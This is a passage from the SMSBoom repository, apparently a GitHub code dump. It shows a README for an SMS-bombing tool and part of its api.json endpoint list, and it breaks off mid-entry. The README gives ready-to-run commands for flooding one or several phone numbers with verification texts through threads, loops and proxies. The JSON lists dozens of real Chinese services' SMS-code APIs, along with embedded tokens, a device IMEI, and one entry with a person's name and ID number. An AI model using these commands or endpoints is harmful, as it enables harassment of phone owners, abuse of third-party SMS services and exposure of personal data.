[对代理设置的说明](https://github.com/WhaleFell/SMSBoom#%E4%BD%BF%E7%94%A8%E4%BB%A3%E7%90%86), 小白可以暂时不看 65 | 66 | 6. 传递参数,命令示例: 67 | 68 | 启动64个线程,轰//炸一个人的手机号(198xxxxxxxx),只轰//炸一波。 69 | 70 | ```shell 71 | smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx 72 | ``` 73 | 74 | 启动64个线程,轰//炸一个人的手机号(19xxxxxxx),启动循环轰//炸, 轮番轰//炸60次 75 | 76 | ```shell 77 | smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx -f 60 78 | ``` 79 | 80 | 启动64个线程,轰//炸一个人的手机号(19xxxxxxx),启动循环轰//炸, 轮番轰//炸60次, 每次间隔30秒 81 | 82 | ```shell 83 | smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx -f 60 -i 30 84 | ``` 85 | 86 | 启动64个线程,轰//炸一个人的手机号(19xxxxxxx),启动循环轰//炸, 轮番轰//炸60次, 每次间隔30秒, 开启代理列表进行轰炸 87 | 88 | ```shell 89 | smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx -f 60 -i 30 -e 90 | ``` 91 | 92 | 启动64个线程,轰//炸多个人的手机号(138xxx,139xxxx),启动循环轰//炸, 轮番轰炸60次, 每次间隔30秒, 开启代理列表进行轰炸 93 | 94 | ```shell 95 | smsboom_pyinstall.exe run -t 64 -p 138xxxxxxxx -p 139xxxxxxxx -f 60 -i 30 -e 96 | ``` 97 | 98 | 99 | ### 适用于大佬 100 | 101 | #### 下载项目 102 | 103 | - 方法一:使用Git: 104 | 105 | ```shell 106 | git clone https://github.com/AdminWhaleFall/SMSBoom.git/ 107 | ``` 108 | 109 | > 墙国加速 110 | > 111 | > ```shell 112 | > git clone https://github.do/https://github.com/AdminWhaleFall/SMSBoom.git 113 | > ``` 114 | 115 | - 方法二:点击下载[项目压缩包](https://github.com/AdminWhaleFall/SMSBoom/archive/refs/heads/master.zip)并解压. 116 | 117 | #### 配置环境 118 | 119 | **前提条件:** 请确保自己的电脑有 `python3.x` 的环境,推荐使用 `3.8` 及以上! 120 | 121 | 方案一: 有 `Python3.8` 环境的可以使用 `pipenv` 工具. 122 | 123 | 1. 安装 pipenv 包管理工具. 124 | ```shell 125 | pip install pipenv 126 | ``` 127 | 128 | 2. 为项目构建虚拟环境. 129 | ```shell 130 | pipenv install # 仅使用轰//炸功能 131 | pipenv install --dev # 使用 webui 调试接口功能. 132 | ``` 133 | 134 | 3. 尝试运行 smsboom.py 135 | ```shell 136 | pipenv shell # 激活虚拟环境 137 | python smsboom.py # linux 138 | ``` 139 | 140 | 若无报错,输出帮助信息,则说明环境已经正确安装。若报错请使用方案二 141 | 142 | 方案二: 只有 `Python3.X` 环境的需要使用原生 `pip` 工具. 143 | 144 | 1. 安装所需要的库 145 | ```shell 146 | pip install -r requirements.txt # 仅使用轰//炸 147 | pip install -r requirements-dev.txt # 使用 webui 148 | ``` 149 | 150 | 2. 尝试运行 smsboom.py 151 | ```shell 152 | python smsboom.py 153 | ``` 154 | 155 | 若无报错,输出帮助信息,则说明环境已经正确安装。 156 | 157 | #### 使用 Docker 运行 158 | 159 | ##### 方式一: 一键运行 160 | 161 | ```shell 162 | docker run --rm lanqsh/smsboom run -t 1 -p {PHONE} -i 1 163 | ``` 164 | 165 | ##### 方式二: 自建镜像 166 | 167 | **前提条件:** 请确保当前环境已安装 [Docker](https://docs.docker.com/get-docker/). 168 | 169 | 1. 构建镜像 170 | 171 | ```shell 172 | docker build -t whalefell/smsboom . 173 | ``` 174 | 175 | 2. 尝试运行 176 | 177 | ```shell 178 | docker run --rm whalefell/smsboom:latest --help 179 | 180 | Usage: smsboom.py [OPTIONS] COMMAND [ARGS]... 181 | 182 | Options: 183 | --help Show this message and exit. 184 | 185 | Commands: 186 | asyncrun 以最快的方式请求接口(真异步百万并发) 187 | onerun 单线程(测试使用) 188 | run 传入线程数和手机号启动轰炸,支持多手机号 189 | update 从 github 获取最新接口 190 | ``` 191 | 192 | #### 运行 193 | 194 | 若使用虚拟环境,请先激活. `pipenv shell` 195 | 196 | ```shell 197 | # 输出帮助信息 198 | python smsboom.py --help 199 | 200 | Usage: smsboom.py [OPTIONS] COMMAND [ARGS]... 201 | Options: 202 | --help Show this message and exit. 203 | Commands: 204 | run 传入线程数和手机号启动轰//炸,支持多手机号 205 | update 从 github 获取最新接口 206 | ``` 207 | 208 | - 启动轰//炸 209 | 210 | 帮助信息: 211 | 212 | ```shell 213 | python smsboom.py run --help 214 | 215 | Usage: smsboom.py run [OPTIONS] 216 | 217 | 传入线程数和手机号启动轰//炸,支持多手机号 218 | 219 | Options: 220 | -t, --thread INTEGER 线程数(默认64) 221 | -p, --phone TEXT 手机号,可传入多个再使用-p传递 [required] 222 | -f, --frequency INTEGER 执行次数(默认1次) 223 | -i, --interval INTEGER 间隔时间(默认60s) 224 | -e, --enable_proxy BOOLEAN 开启代理(默认关闭) 225 | --help Show this message and exit. 226 | ``` 227 | 228 | ### 使用代理 229 | 230 | 本项目不能通过API自动获取代理, 你可以从下面的免费代理网站中手动获取代理, 或是选择使用自己的代理, 或是不使用代理. 231 | 232 | > [https://proxyscrape.com/free-proxy-list](https://proxyscrape.com/free-proxy-list) 233 | 234 | > [https://openproxy.space/list](https://openproxy.space/list) 235 | 236 | 将代理添加到 `http_proxy.txt` `socks4_proxy.txt` `socks5_proxy.txt` 三个文件中, 命令参数添加 `-e` 执行即可. 237 | 238 | ### 命令示例 239 | 240 | 启动64个线程,轰//炸一个人的手机号(198xxxxxxxx),只轰//炸一波。 241 | 242 | ```shell 243 | python smsboom.py run -t 64 -p 198xxxxxxxx 244 | ``` 245 | 246 | 启动64个线程,轰//炸一个人的手机号(198xxxxxxxx),启动循环轰//炸, 轮番轰//炸60次 247 | 248 | ```shell 249 | python smsboom.py run -t 64 -p 198xxxxxxxx -f 60 250 | ``` 251 | 252 | 启动64个线程,轰//炸一个人的手机号(198xxxxxxxx),启动循环轰//炸, 轮番轰//炸60次, 每次间隔30秒 253 | 254 | ```shell 255 | python smsboom.py run -t 64 -p 198xxxxxxxx -f 60 -i 30 256 | ``` 257 | 258 | 启动64个线程,轰//炸一个人的手机号(198xxxxxxxx),启动循环轰//炸, 轮番轰//炸60次, 每次间隔30秒, 开启代理列表进行轰炸 259 | 260 | ```shell 261 | python smsboom.py run -t 64 -p 198xxxxxxxx -f 60 -i 30 -e 262 | ``` 263 | 264 | 启动64个线程,轰//炸多个人的手机号(198xxxxxxxx,199xxxxxxxx),启动循环轰//炸, 轮番轰炸60次, 每次间隔30秒, 开启代理列表进行轰炸 265 | 266 | ```shell 267 | python smsboom.py run -t 64 -p 198xxxxxxxx -p 199xxxxxxxx -f 60 -i 30 -e 268 | ``` 269 | 270 | ## Development 271 | 272 | 程序提供接口调试工具,但目前还不完善,欢迎前端大佬 PR。 273 | 调试工具以 `Flask` 为后端,`vue` 为前端,实现前后端分离。 274 | 目前只有测试接口,添加接口的功能。 275 | 276 | ### Flask 前端调试 277 | 278 | > **前提是已经根据前文 Quick Start 的方式安装好 pipenv 环境** 279 | 280 | ```shell 281 | pipenv shell # 激活虚拟环境 282 | python run_flask_app.py start -p 9090 # 监听9090端口 283 | 提示ModuleNotFoundError: No module named 'xxx' 可使用pip install model_name 284 | ``` 285 | 286 | **运行帮助:** 287 | ```shell 288 | Usage: run_flask_app.py [OPTIONS] COMMAND [ARGS]... 289 | 290 | Options: 291 | --help Show this message and exit. 292 | 293 | Commands: 294 | init 初始化数据库 295 | json2sqlite 将json数据转为sqlite数据库 296 | sqlite2json 将sqlite数据转为json 297 | start 启动 flask app 298 | ``` 299 | 300 | ```shell 301 | Usage: run_flask_app.py start [OPTIONS] 302 | 303 | 启动 flask app 304 | 305 | Options: 306 | -h, --host TEXT 监听地址 307 | -p, --port INTEGER 监听端口 308 | --help Show this message and exit. 309 | ``` 310 | 311 | 默认监听 *0.0.0.0:9090* 地址,浏览器访问[http://127.0.0.1:9090/admin/](http://127.0.0.1:9090/admin/)若无意外,就可以出现前端调试界面。 312 | 313 | ![](img/webui-test.png) 314 | ![](img/webui-test-2.png) 315 | 316 | ## 赞助 317 | [爱发电🔗](https://afdian.net/@smsboom) 318 | 319 | > 赞助的金额将用于我每月治疗 **抑/郁症** 的支出.谢谢大家的支持和鼓励! **比心ing** 320 | 321 | 322 | ## Star ♥ 趋势图 323 | 324 | 325 | 326 | ## ✨讨论 327 | 328 | 欢迎加入讨论对项目提出问题和建议!!!mua! 329 | 330 | ### 企鹅🐧群 331 | > 企鹅群不允许讨论相关敏感信息!违者上飞机票✈ 332 | 333 | 2022/7/6 停止运作. 334 | 335 | ### Telegram Channel (TG群组) 336 | > 涉及敏/感信息,政/治,民/主运动话题请到 **TG群聊** 337 | 338 | [SMSBoomPr](https://t.me/SMSBoomPr) 339 | -------------------------------------------------------------------------------- /api.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "desc": "卡饭信息安全", 4 | "url": "https://pdf.kfsafe.cn/sms/phone/code", 5 | "method": "POST", 6 | "header": { 7 | "Content-Type": "application/json;charset=utf-8" 8 | }, 9 | "data": { 10 | "phone": "[phone]" 11 | } 12 | }, 13 | { 14 | "desc": "彩云小译", 15 | "url": "https://biz.caiyunapp.com/v1/send_sms_code", 16 | "method": "POST", 17 | "header": { 18 | "Referer": "https://fanyi.caiyunapp.com/", 19 | "Cy-Token": "token 9876032166" 20 | }, 21 | "data": { 22 | "phone_num": "[phone]", 23 | "area_code": "86" 24 | } 25 | }, 26 | { 27 | "desc": "网易云游戏", 28 | "url": "https://n.cg.163.com/api/v1/phone-captchas/86-[phone]", 29 | "method": "POST", 30 | "header": "", 31 | "data": { 32 | "etc": { 33 | "validate": "" 34 | } 35 | } 36 | }, 37 | { 38 | "desc": "果壳app", 39 | "url": "https://guokrapp-apis.guokr.com/hawking/v1/verifications", 40 | "method": "POST", 41 | "header": { 42 | "User-Agent": "android 2.0.15", 43 | "Client-Source": "android;23;Android;MuMu", 44 | "Client-Channel": "gkchannel_QD009", 45 | "Content-Type": "application/json; charset=UTF-8" 46 | }, 47 | "data": { 48 | "dial_code": "0086", 49 | "phone": "[phone]" 50 | } 51 | }, 52 | { 53 | "desc": "踢米app", 54 | "url": "https://www.timing360.com/user/send-captcha", 55 | "method": "POST", 56 | "header": { 57 | "Authorization": "7119181942667E7D85987C65A6D0B8EC", 58 | "Content-Type": "application/x-www-form-urlencoded" 59 | }, 60 | "data": "_app_version=10.13.2&_carrier=&_city=&_country=&_country_code=&_date=2022-04-05&_device_id=b6ad5aabe403d839&_device_manufacturer=Netease&_device_model=MuMu&_device_os=Android&_device_os_version=6.0.1&_distinct_id=a86d6bb7-8e26-43c5-baf3-82cdf95fffdd&_ip=&_is_login_id=0&_login_method=phone&_network_type=WIFI&_province=&_screen_height=2000&_screen_width=1125&_time=2022-04-05%2021%3A21%3A13&_user_id=a86d6bb7-8e26-43c5-baf3-82cdf95fffdd&_wifi=1&adCode=&brand=Android&city=&cityCode=&countryCode=86&imei=861151055733959&isCheckPhoneExist=0&latitude=&longitude=&market=yyb&nonce=708380&os=6.0.1&osType=1&phoneModel=MuMu&phoneNumber=[phone]&sessionId=e1c69361-c78b-4f4d-8c98-938ba4eccff6×tamp=[timestamp]&userID=-709178027&userKey=11111111111111111111111111111111&versioncode=187" 61 | }, 62 | { 63 | "desc": "微爱app", 64 | "url": "http://api.welove520.com/v5/account/phone/verifyCode/send?phone_number=[phone]&client_id=464847866_[timestamp]&type=6&area_code=86&app_key=ac5f34563a4344c4&sig=xvP64W04tR%2FNJoZEJEoJySmlIXU%3D", 65 | "method": "POST", 66 | "header": "", 67 | "data": "" 68 | }, 69 | { 70 | "desc": "返利app(24小时限制)", 71 | "url": "https://passport.fanli.com/mobileapi/i/user/mobileFastReg?jsoncallback=jQuery21105357980471043338_[timestamp]&mobile=[phone]&countrycode=86&mobilestep=1&_=[timestamp]", 72 | "method": "GET", 73 | "header": "", 74 | "data": "" 75 | }, 76 | { 77 | "desc": "酷安(一天只能一次)", 78 | "url": "https://account.coolapk.com/auth/login?type=mobile", 79 | "method": "POST", 80 | "header": "", 81 | "data": "submit=1&requestHash=c2592a6dr9x510&country=86&mobile=[phone]&captcha=&randomNumber=0undefined7952784010774208" 82 | }, 83 | { 84 | "desc": "迪卡侬", 85 | "url": "https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code", 86 | "method": "POST", 87 | "header": "", 88 | "data": { 89 | "countryCode": "CN", 90 | "mobile": "[phone]" 91 | } 92 | }, 93 | { 94 | "desc": "股海网(一天单号码只能3次", 95 | "url": "https://www.guhai.com.cn/front/member/sendSmsCode", 96 | "method": "POST", 97 | "header": "", 98 | "data": { 99 | "mobile": "[phone]" 100 | } 101 | }, 102 | { 103 | "desc": "LLL的个人blog", 104 | "url": "http://www.lll.plus/sendCode/", 105 | "method": "POST", 106 | "header": { 107 | "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36", 108 | "X-Requested-With": "XMLHttpRequest" 109 | }, 110 | "data": { 111 | "tel": "[phone]", 112 | "forgetPwd": "" 113 | } 114 | }, 115 | { 116 | "desc": "企米子", 117 | "url": "https://www.xcxui.com/index/register/getcode.html", 118 | "method": "POST", 119 | "header": "", 120 | "data": { 121 | "tel": "[phone]" 122 | } 123 | }, 124 | { 125 | "desc": "百卓优采", 126 | "url": "https://erp.abiz.com/mobilecode/sendMobileCode", 127 | "method": "POST", 128 | "header": "", 129 | "data": { 130 | "mobile": "[phone]", 131 | "captcha": "" 132 | } 133 | }, 134 | { 135 | "desc": "PHP中文网", 136 | "url": "https://m.php.cn/account/phone_code.html", 137 | "method": "POST", 138 | "header": "", 139 | "data": { 140 | "phone": "[phone]" 141 | } 142 | }, 143 | { 144 | "desc": "12321", 145 | "url": "http://dhba.12321.cn/api/verifycode", 146 | "method": "POST", 147 | "header": "", 148 | "data": { 149 | "phone": "[phone]" 150 | } 151 | }, 152 | { 153 | "desc": "Testin众测", 154 | "url": "https://www.ztestin.com/users/send/vercode", 155 | "method": "POST", 156 | "header": "", 157 | "data": { 158 | "phone": "[phone]", 159 | "type": "register", 160 | "voice": "0" 161 | } 162 | }, 163 | { 164 | "desc": "海尔", 165 | "url": "http://maker.haier.net/client/user/sendregistervcode.html", 166 | "method": "POST", 167 | "header": "", 168 | "data": { 169 | "account": "[phone]" 170 | } 171 | }, 172 | { 173 | "desc": "飞猫云", 174 | "url": "https://www.feimaoyun.com/index.php/invite/h5sendmsg", 175 | "method": "POST", 176 | "header": "", 177 | "data": { 178 | "pcode": "+86", 179 | "phone": "[phone]" 180 | } 181 | }, 182 | { 183 | "desc": "华觉数字化平台", 184 | "url": "https://end.huajuetech.com/api/sendCode", 185 | "method": "POST", 186 | "header": "", 187 | "data": { 188 | "mobile": "[phone]", 189 | "email": "null", 190 | "verfy_method": "mobile" 191 | } 192 | }, 193 | { 194 | "desc": "问政江西", 195 | "url": "https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm", 196 | "method": "POST", 197 | "header": "", 198 | "data": { 199 | "phone": "[phone]" 200 | } 201 | }, 202 | { 203 | "desc": "河南智慧党建", 204 | "url": "http://api.hndyjyfw.gov.cn/djapi/mobileVerify", 205 | "method": "POST", 206 | "header": "", 207 | "data": { 208 | "phone": "[phone]", 209 | "verifytype": "1" 210 | } 211 | }, 212 | { 213 | "desc": "陆陆陆云安全", 214 | "url": "https://cloud.666idc.com/index/login/sendsms.html", 215 | "method": "POST", 216 | "header": "", 217 | "data": { 218 | "mobile": "[phone]", 219 | "mobile_pre": "86" 220 | } 221 | }, 222 | { 223 | "desc": "网易", 224 | "url": "https://dz.blizzard.cn/action/user/mobile/captcha", 225 | "method": "POST", 226 | "header": "", 227 | "data": { 228 | "mobile": "[phone]" 229 | } 230 | }, 231 | { 232 | "desc": "码云社", 233 | "url": "https://www.codeseeding.com/loginUser/toSend", 234 | "method": "POST", 235 | "header": "", 236 | "data": { 237 | "phone": "[phone]" 238 | } 239 | }, 240 | { 241 | "desc": "人才山东", 242 | "url": "http://sso.rcsd.cn/regist/getVerifyCode", 243 | "method": "POST", 244 | "header": "", 245 | "data": { 246 | "personcall": "[phone]" 247 | } 248 | }, 249 | { 250 | "desc": "水利部", 251 | "url": "http://sso.mwr.cn/suserRegister/verifyAccountAndphone.action", 252 | "method": "POST", 253 | "header": "", 254 | "data": { 255 | "mobile": "[phone]" 256 | } 257 | }, 258 | { 259 | "desc": "七联大学", 260 | "url": "http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode", 261 | "method": "POST", 262 | "header": "", 263 | "data": { 264 | "phoneNumber": "[phone]", 265 | "sendType": "0" 266 | } 267 | }, 268 | { 269 | "desc": "闪德资讯", 270 | "url": "https://www.0101ssd.com/user/sendmsg", 271 | "method": "POST", 272 | "header": "", 273 | "data": { 274 | "mobile": "[phone]", 275 | "event": "register" 276 | } 277 | }, 278 | { 279 | "desc": "江苏省名师空中课堂", 280 | "url": "https://mskzkt.jse.edu.cn/baseApi/user/code/", 281 | "method": "POST", 282 | "header": "", 283 | "data": { 284 | "mobile": "[phone]", 285 | "type": "1" 286 | } 287 | }, 288 | { 289 | "desc": "CSFF短片", 290 | "url": "https://csff.cutv.com/wapi/users/sendregcode", 291 | "method": "POST", 292 | "header": "", 293 | "data": { 294 | "telphone": "[phone]" 295 | } 296 | }, 297 | { 298 | "desc": "广西人社厅", 299 | "url": "http://rswb.gx12333.net/member/getRegisterphoneCode.jspx", 300 | "method": "POST", 301 | "header": "", 302 | "data": { 303 | "aae005": "[phone]", 304 | "aac003": "刘萌萌", 305 | "aac002": "210212198506035924", 306 | "notkeyflag": "1" 307 | } 308 | }, 309 | { 310 | "desc": "麦克赛尔数字映像", 311 | "url": "https://www.maxell-dm.cn/Code/CheckImage.aspx", 312 | "method": "POST", 313 | "header": "", 314 | "data": { 315 | "action": "send", 316 | "txtMember_Name": "[phone]" 317 | } 318 | }, 319 | { 320 | "desc": "宝提分", 321 | "url": "http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action", 322 | "method": "POST", 323 | "header": "", 324 | "data": { 325 | "mobile": "[phone]" 326 | } 327 | }, 328 | { 329 | "desc": "选型系统", 330 | "url": "http://www.cnppump.ltd/Service/UserHandler.ashx", 331 | "method": "GET", 332 | "header": "", 333 | "data": { 334 | "cmd": "GetTelVerifyCode", 335 | "Tel": "[phone]" 336 | } 337 | }, 338 | { 339 | "desc": "千里马网信科技", 340 | "url": "http://vip.qianlima.com/rest/u/api/user/register/mobile/code", 341 | "method": "POST", 342 | "header": "", 343 | "data": { 344 | "tips": "1", 345 | "shouji": "[phone]" 346 | } 347 | }, 348 | { 349 | "desc": "保定云", 350 | "url": "https://baodingyun.com.cn/register/send_registerSMS.html", 351 | "method": "POST", 352 | "header": "", 353 | "data": { 354 | "phone": "[phone]" 355 | } 356 | }, 357 | { 358 | "desc": "欢动游戏", 359 | "url": "http://www.gm5.com/auth/registerSms.html", 360 | "method": "POST", 361 | "header": "", 362 | "data": { 363 | "mobile": "[phone]" 364 | } 365 | }, 366 | { 367 | "desc": "迈威", 368 | "url": "https://www.maiwe.com.cn/index/sendcode.html", 369 | "method": "GET", 370 | "header": "", 371 | "data": { 372 | "tel": "[phone]" 373 | } 374 | }, 375 | { 376 | "desc": "憨鼠社区", 377 | "url": "https://www.dehua.net/include/ajax.php?service=siteConfig&action=getphoneVerify&type=signup&phone=[phone]&areaCode=86", 378 | "method": "GET", 379 | "header": "", 380 | "data": {} 381 | }, 382 | { 383 | "desc": "天鹅到家", 384 | "url": "https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112", 385 | "method": "GET", 386 | "header": "", 387 | "data": {} 388 | }, 389 | { 390 | "desc": "诺达筑工", 391 | "url": "http://ks.ndzhugong.com/getVerificationCode?phone=[phone]&password=&smscode=", 392 | "method": "GET", 393 | "header": "", 394 | "data": {} 395 | }, 396 | { 397 | "desc": "栋才智慧", 398 | "url": "http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?[phone]&[phone]&smsMode=2", 399 | "method": "GET", 400 | "header": "", 401 | "data": {} 402 | }, 403 | { 404 | "desc": "工伤预防网上培训平台", 405 | "url": "http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69", 406 | "method": "GET", 407 | "header": "", 408 | "data": {} 409 | }, 410 | { 411 | "desc": "济宁专技", 412 | "url": "https://sdjn-web.yxlearning.com/sendphoneCode.gson", 413 | "method": "POST", 414 | "header": "", 415 | "data": { 416 | "phone": "[phone]", 417 | "sendType": "4" 418 | } 419 | }, 420 | { 421 | "desc": "宁夏伊地地质工程有限公司", 422 | "url": "http://www.yddzgc.com/bid-app/api/sys/code?phone=[phone]&type=1", 423 | "method": "GET", 424 | "header": "", 425 | "data": {} 426 | }, 427 | { 428 | "desc": "青春大学说", 429 | "url": "http://zycp.qcdxs.com:5001/sms/sendsms", 430 | "method": "POST", 431 | "header": "", 432 | "data": { 433 | "phone_number": "[phone]" 434 | } 435 | }, 436 | { 437 | "desc": "兴业利达电子招投标平台", 438 | "url": "https://api.gzxyld.cn/HuiEbid/HuiEbidServer/doSendSms/getSms", 439 | "method": "POST", 440 | "header": "", 441 | "data": { 442 | "username": "[phone]", 443 | "type": "regUser", 444 | "mobile": "PC" 445 | } 446 | }, 447 | { 448 | "desc": "火象", 449 | "url": "https://v1.alphazone-data.cn/academy/api/v1/sendsms", 450 | "method": "POST", 451 | "header": "", 452 | "data": { 453 | "temp": "1", 454 | "phone": "[phone]" 455 | } 456 | }, 457 | { 458 | "desc": "中科教育", 459 | "url": "https://www.vipexam.cn/user/identifyingCode.action", 460 | "method": "POST", 461 | "header": "", 462 | "data": { 463 | "phone": "[phone]" 464 | } 465 | }, 466 | { 467 | "desc": "聚题库", 468 | "url": "https://uc.csdhe.com/v1/sms/send?mobile=[phone]&apptype=examWeb", 469 | "method": "GET", 470 | "header": "", 471 | "data": {} 472 | }, 473 | { 474 | "desc": "苏州高新区教育局", 475 | "url": "https://jssnd.edu.cn/apiu/v1/register/auth", 476 | "method": "POST", 477 | "header": "", 478 | "data": { 479 | "phone": "[phone]" 480 | } 481 | }, 482 | { 483 | "desc": "专业技术人员继续教育平台", 484 | "url": "http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8", 485 | "method": "GET", 486 | "header": "", 487 | "data": {} 488 | }, 489 | { 490 | "desc": "泰安专技", 491 | "url": "https://sdta-web.yxlearning.com/sendphoneCode.gson", 492 | "method": "POST", 493 | "header": "", 494 | "data": { 495 | "phone": "[phone]", 496 | "sendType": "4" 497 | } 498 | }, 499 | { 500 | "desc": "漏洞银行", 501 | "url": "https://www.bugbank.cn/api/verifymobile", 502 | "method": "POST", 503 | "header": "", 504 | "data": { 505 | "mobile": "[phone]" 506 | } 507 | }, 508 | { 509 | "desc": "中国劳动保障新闻网", 510 | "url": "https://www.clssn.com/jhxtapi/web/Login/sendSmsCode", 511 | "method": "POST", 512 | "header": "", 513 | "data": { 514 | "mobile": "[phone]" 515 | } 516 | }, 517 | { 518 | "desc": "广东省心理学会", 519 | "url": "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html", 520 | "method": "POST", 521 | "header": "", 522 | "data": { 523 | "phone": "[phone]" 524 | } 525 | }, 526 | { 527 | "desc": "费耘网", 528 | "url": "https://www.feeclouds.com/homepage/register/send", 529 | "method": "POST", 530 | "header": "", 531 | "data": { 532 | "mobile": "[phone]" 533 | } 534 | }, 535 | { 536 | "desc": "语雀web", 537 | "url": "https://www.yuque.com/api/validation_codes", 538 | "method": "POST", 539 | "header": { 540 | "referer": "https://www.yuque.com/register" 541 | }, 542 | "data": { 543 | "target": "[phone]", 544 | "action": "register", 545 | "channel": "sms" 546 | } 547 | }, 548 | { 549 | "desc": "甜糖app", 550 | "url": "http://tiantang.mogencloud.com/web/api/login/code?phone=[phone]", 551 | "method": "POST", 552 | "header": "", 553 | "data": "" 554 | }, 555 | { 556 | "desc": "网心云APP", 557 | "url": "https://account-box.onethingpcs.com/xluser.core.login/v3/sendsms", 558 | "method": "POST", 559 | "header": "", 560 | "data": { 561 | "protocolVersion": "301", 562 | "sequenceNo": "1000001", 563 | "platformVersion": "10", 564 | "isCompressed": "0", 565 | "appid": "22017", 566 | "clientVersion": "3.15.1", 567 | "peerID": "00000000000000000000000000000000", 568 | "appName": "ANDROID-com.onethingcloud.android", 569 | "sdkVersion": "204500", 570 | "devicesign": "div101.095893e2bfa13a199f83691076c8bbb9ab0d01f75c929975048142c2fa38402b", 571 | "netWorkType": "WIFI", 572 | "providerName": "NONE", 573 | "deviceModel": "M2102J2SC", 574 | "deviceName": "Xiaomi M2102j2sc", 575 | "OSVersion": "11", 576 | "creditkey": "", 577 | "hl": "zh-CN", 578 | "mobile": "[phone]", 579 | "register": "0" 580 | } 581 | }, 582 | { 583 | "desc": "乐教乐学", 584 | "url": "http://id.lejiaolexue.com/api/sendvericode.ashx?phone=[phone]", 585 | "method": "GET", 586 | "header": "", 587 | "data": "" 588 | }, 589 | { 590 | "desc": "云杏HIS系统(九明珠)", 591 | "url": "http://www.yhis999.cn/yunhis/register.do?act=lable&type=yzm", 592 | "method": "POST", 593 | "header": "", 594 | "data": "{'lxdh': [phone]}" 595 | }, 596 | { 597 | "desc": "秘塔写作", 598 | "url": "https://xiezuocat.com/verify?type=signup", 599 | "method": "POST", 600 | "header": "", 601 | "data": { 602 | "phone": "86-[phone]" 603 | } 604 | }, 605 | { 606 | "desc": "CNMO 网站", 607 | "url": "http://passport.cnmo.com/index.php?c=Member_Ajax_Register&m=SendMessageCode&Jsoncallback=jQuery18306147606011785998_[timestamp]&mobile=[phone]&type=5&_=[timestamp]", 608 | "method": "POST", 609 | "header": "", 610 | "data": "" 611 | }, 612 | { 613 | "desc": "DR钻戒web", 614 | "url": "https://elove.darryring.com/api/crm/newGwLogin/getSMSValidCode?phone=[phone]&type=login", 615 | "method": "GET", 616 | "header": "", 617 | "data": "" 618 | }, 619 | { 620 | "desc": "有享云商web", 621 | "url": "https://mallapi.yofogo.com/biz-mall-application/v1/user/verifyCode/getVerifyCode?phone=[phone]&descriptionType=1&codeType=2", 622 | "method": "GET", 623 | "header": "", 624 | "data": "" 625 | }, 626 | { 627 | "desc": "研才教育app", 628 | "url": "https://mall.yancais.com/api/sms/send?phone=[phone]", 629 | "method": "GET", 630 | "header": "", 631 | "data": "" 632 | }, 633 | { 634 | "desc": "成卓科技", 635 | "url": "https://callphone.hnczkj.cn/app_api/json/sendSms", 636 | "method": "POST", 637 | "header": "", 638 | "data": { 639 | "phone": "[phone]", 640 | "product": "biyingdianhua_ios", 641 | "key": "mwoe093fwef" 642 | } 643 | }, 644 | { 645 | "desc": "加密电话", 646 | "url": "https://m.4009991000.com/valNumQry.action", 647 | "method": "POST", 648 | "header": "", 649 | "data": { 650 | "appType": "1", 651 | "app_id": "5555", 652 | "mobileNo": "[phone]", 653 | "sig": "16cd52ea74f5ea4a6c2fe80b9a04f8b5", 654 | "src": "1", 655 | "v": "4.9.2", 656 | "validType": "3" 657 | } 658 | }, 659 | { 660 | "desc": "快应用美抽", 661 | "url": "http://users.seeyouyima.com/xiaomi/connect/?action=getCaptcha&v=2.1.0&app_id=11&platform=7&myclient=1172100000&account=[phone]", 662 | "method": "POST", 663 | "header": "", 664 | "data": "" 665 | }, 666 | { 667 | "desc": "小叶子app", 668 | "url": "https://dss.xiaoyezi.com/student_app/auth/validate_code?mobile=[phone]&country_code=86", 669 | "method": "GET", 670 | "header": "", 671 | "data": "" 672 | }, 673 | { 674 | "desc": "牙e在线", 675 | "url": "https://yae920.com/login/sendSMS?mobile=[phone]&smsType=02×tamp=[timestamp]", 676 | "method": "POST", 677 | "header": "", 678 | "data": "mobile=[phone]&smsType=02×tamp=[timestamp]" 679 | }, 680 | { 681 | "desc": "某数图表web(存疑)", 682 | "url": "https://dycharts.com/vis/auth/send_signin_sms_code", 683 | "method": "POST", 684 | "header": "", 685 | "data": { 686 | "phoneNo": "13809213237" 687 | } 688 | }, 689 | { 690 | "desc": "17k小说网app", 691 | "url": "http://api.17k.com/user/mobile/[phone]/message?smsType=2&deviceFlag=64e538d8f0cff7bb107dd8c1fba0f5a2&cpsOpid=17Kxiaomi&_filterData=1&device_id=e0c0b30933e42492&channel=0&_versions=1280&merchant=17Kxiaomi&ua=Mozilla%2F5.0%20%28Linux%3B%20Android%2011%3B%20M2102J2SC%20Build%2FRKQ1.200826.002%3B%20wv%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Version%2F4.0%20Chrome%2F100.0.4896.127%20Mobile%20Safari%2F537.36&platform=2&manufacturer=Xiaomi&clientType=1&width=1080&appKey=4037465544&model=M2102J2SC&cpsSource=0&brand=Xiaomi&youthModel=0&height=2206", 692 | "method": "GET", 693 | "header": "", 694 | "data": "" 695 | }, 696 | { 697 | "desc": "汇看点快应用", 698 | "url": "https://grzx.brily.cn/api/utils/sendSmsCode?phone=[phone]&type=USER_REG", 699 | "method": "POST", 700 | "header": "", 701 | "data": "" 702 | }, 703 | { 704 | "desc": "核桃编程app", 705 | "url": "https://api.hetao101.com/login/v2/account/oauth/verifyCode?phoneNumber=[phone]", 706 | "method": "GET", 707 | "header": "", 708 | "data": "" 709 | }, 710 | { 711 | "desc": 